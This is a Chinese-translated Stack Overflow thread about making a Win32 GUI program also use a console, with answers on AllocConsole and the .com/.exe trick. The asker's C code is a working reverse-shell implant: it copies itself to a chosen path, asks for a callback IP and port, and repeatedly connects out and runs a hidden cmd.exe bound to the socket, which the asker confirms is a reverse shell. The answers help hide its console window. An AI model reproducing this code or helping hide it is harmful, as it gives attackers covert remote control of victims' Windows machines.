【问题标题】:Win32 GUI application compiled as GUI need to use a console in CWin32 GUI 应用程序编译为 GUI 需要使用 C 中的控制台
【发布时间】:2018-01-25 13:35:56
【问题描述】:

我正在创建一个程序,它有两个方面。主要执行(script.exe -setup)将打开一个控制台并询问用户多个问题,然后将答案设置为变量并根据答案对机器进行调整。这是一个简单的控制台应用程序,如果编译为控制台应用程序,它可以正常工作。

脚本的第二部分(script.exe -socket 192.168.1.1:9000)将启动一个 WinMain 函数,然后调用一个套接字函数。我将套接字函数放在 WinMain 中的原因是它不会显示 CreateProcess 调用的“cmd.exe”。它正在闪烁命令提示符,所以我使用 WinMain 摆脱了它。这只有在编译为 Win32 应用程序时才能按预期工作,但是我无法运行脚本的设置端。

我知道当编译为控制台应用程序时,它以 (int main()) 函数开头,这就是它起作用的原因。当编译为 Win32 时,它以 (WinMain()) 函数开始。但是,我只需要将应用程序作为 Win32 应用程序从 Main 启动。

int main(int argc, char *argv[]) {
    char filePath[150];
    char fileName[30];
    int portNum;
    char ip[16];
    char socket[23];

    if (argc == 1) {
        printf("Usage: File.exe setup OR File.exe -s IP:PORT");
        exit(0);
    } else if (strcmp(argv[1], "setup") == 0) {
        printf("Doing Setup Stuff\n");
    } else if (strcmp(argv[1], "-socket") == 0){
        strncpy(socket, argv[2], 22);
        WinMain(0,0,socket,0);
        return 0;
    } else {
        printf("Usage: File.exe setup OR File.exe -socket IP:PORT");
        exit(0);
    }

    printf("Desired File Location. Example: C:\\Test\n");
    scanf("%149s", filePath);
    CheckDirectory(filePath);

    printf("\nDesired file name. Example: test.exe\n");
    scanf("%29s", fileName);
    getchar();
    CopyNewFile(filePath, fileName, argv[0]);

    printf("\nEnter callback IP:\n");
    scanf("%15s", ip);

    printf("\nEnter callback port:\n");
    scanf("%5d", &portNum);


    printf("Enter time in seconds for each callback: ");
    scanf("%10d", &secs);

    return 0;
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
    char test[50];
    strncpy(test, cmdline, 49);
    char *ip = strtok(test, ":");
    char *port = strtok(NULL, ":");
    RunSocket(ip, port);
    return 0;
}

void CopyNewFile(char *dir, char *fname, char *curName) {
char fullDir[300];
char file[60];
sprintf(file,"%s", curName);
sprintf(fullDir, "%s\\%s", dir, fname);
if (CopyFile(file, fullDir, FALSE)) {
    printf("\nCopied new file!\n");
} else {
    printf("Did not copy!");
    }
}


void CheckDirectory(char *d) {
DIR* dir = opendir(d);
char answer[2];

if (dir) {
    printf("Directory Exists!\n");
    closedir(dir);
} else if (ENOENT == errno) {
    printf("Directory does not exist. Do you want to create this directory? Y/N: ");
    scanf("%s", answer);
    if (strcmp(answer, "y") == 0) {
        if (CreateDirectory(d, NULL)) {
            printf("Created Directory!\n");
        } else {
            printf("Error Creating Directory!");
            exit(1);
        }
    } else {
        printf("Closing Script!");
        exit(1);
    }
}
}

void RunSocket(char *a, char *b) {

    while(1) {

        WSADATA wsaData;
        SOCKET Winsock;
        struct sockaddr_in hax;
        char ip_addr[16];
        STARTUPINFO ini_processo;
        PROCESS_INFORMATION processo_info;

        WSAStartup(MAKEWORD(2,2), &wsaData);
        Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

        struct hostent *host;
        host = gethostbyname(a);
        strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

        hax.sin_family = AF_INET;
        hax.sin_port = htons(atoi(b));
        hax.sin_addr.s_addr =inet_addr(ip_addr);

        WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb=sizeof(ini_processo);
        ini_processo.dwFlags=STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
        Sleep(15000);
        }
}

【问题讨论】:

  • 控制台和cmd.exe不是一回事,没有cmd.exe也可以有控制台窗口。 CreateProcess 只创建一个控制台窗口。
  • cmd.exe 在连接的计算机上打开。这是一个反向外壳,因此它连接到我。我只会去两个文件,因为它会更好。

标签: c windows winapi


【解决方案1】:

它要么是 Windows 应用程序,然后 WinMain 是用户启动点,要么是控制台应用程序,然后 main 是用户启动点。你当然可以从WinMain 调用main,或者你可以为你通常从main 执行的功能分配一个控制台。

以下分配一个控制台并设置标准文件句柄:

#ifndef _WIN32_WINNT
# define _WIN32_WINNT   0x0501
#endif
#include <windows.h>
#include <wincon.h>
#include <stdio.h>

int GetConsole(void)
{
    if (!AttachConsole(ATTACH_PARENT_PROCESS))
        if (!AllocConsole())
            return(0);

    _fileno(stdout)= _fileno(fopen("CON", "w"));
    _fileno(stdin) = _fileno(fopen("CON", "r"));
    _fileno(stderr)= _fileno(fopen("CON", "w"));
    return(1);
}

【讨论】:

  • 我尝试运行此代码,但它给了我一个错误:ld 返回 1 个退出状态。此外,我已将代码添加到我的脚本中。
  • 该示例是 Windows 应用程序的一部分,而不是控制台应用程序,并且必须从(或之后)WinMain 入口点调用。
【解决方案2】:

CUI 和 GUI PE 应用程序之间只有两个区别:

  • CreateProcess 将为 CUI 应用程序创建一个新的控制台窗口(如果父进程还没有控制台窗口)。这可以通过DETACHED_PROCESS 标志来抑制。

  • Cmd.exe 将等待 CUI 应用程序,它不会等待 GUI 应用程序,除非您使用 start /wait

mainWinMain 由您的开发环境控制,Windows(在 ABI 级别)只是调用(实际)入口点函数而没有任何参数。您的编译器提供了这个简单函数和main/WinMain 之间的粘合剂。

您可以从WinMainCommandLineToArgvWWinMainmainFreeConsole+GetModuleHandle+GetCommandLine+GetStartupInfo 实现自己的main

  • 如果由FreeConsole 杀死的短暂闪烁的控制台窗口是不可接受的,那么您必须创建一个 GUI 应用程序。
  • 如果您希望应用程序在从 cmd.exe 启动时充当带有标准输入/标准输出的普通控制台应用程序,那么您必须创建一个 CUI 应用程序。

您可以尝试使用调用 AttachConsole+AllocConsole 的 GUI 应用程序来破解这两种方法,但结果并不完美,因为 cmd.exe 在打印下一个提示和更新 %errorlevel% 之前不会等待。

为了两全其美,最好的解决方案实际上是创建两个应用程序,“yourapp.com”和“yourapp.exe”。前端应用程序将只是一个重命名为 .com 的 .exe,而服务器将是一个 .exe。这是因为 %PATHEXT% 在 .exe 之前有 .com。

【讨论】:

  • 我认为两个文件是最好的选择,因为这对我正在尝试做的事情似乎有点奇怪。谢谢。
猜你喜欢
  • 2011-11-20
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2016-03-07
  • 2015-11-18
  • 1970-01-01
  • 2012-04-21
相关资源
最近更新 更多